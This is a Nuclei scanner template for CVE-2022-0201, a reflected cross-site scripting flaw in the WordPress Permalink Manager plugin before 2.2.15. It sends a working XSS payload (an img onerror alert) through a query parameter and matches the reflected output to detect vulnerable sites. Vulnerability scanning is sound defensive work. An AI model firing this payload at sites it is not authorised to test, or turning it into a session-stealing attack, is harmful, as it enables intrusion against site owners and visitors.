nuclei-templates/cves/2022/CVE-2022-0201.yaml

35 lines
1.0 KiB
YAML

id: CVE-2022-0201
info:
name: WordPress Permalink Manager < 2.2.15 - Reflected Cross-Site Scripting
author: Akincibor
severity: medium
description: The plugins do not sanitise and escape query parameters before outputting them back in the debug page, leading to a Reflected Cross-Site Scripting issue.
reference:
- https://wpscan.com/vulnerability/f274b0d8-74bf-43de-9051-29ce36d78ad4
- https://plugins.trac.wordpress.org/changeset/2656512
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-0201
cwe-id: CWE-79
tags: wp-plugin,wpscan,cve,cve2022,xss,wordpress
requests:
- method: GET
path:
- '{{BaseURL}}/index.php?p=%3Cimg%20src%20onerror=alert(/XSS/)%3E&debug_url=1'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<img src onerror=alert(/XSS/)>'
- 'pm_query'
condition: and
- type: word
part: header
words:
- text/html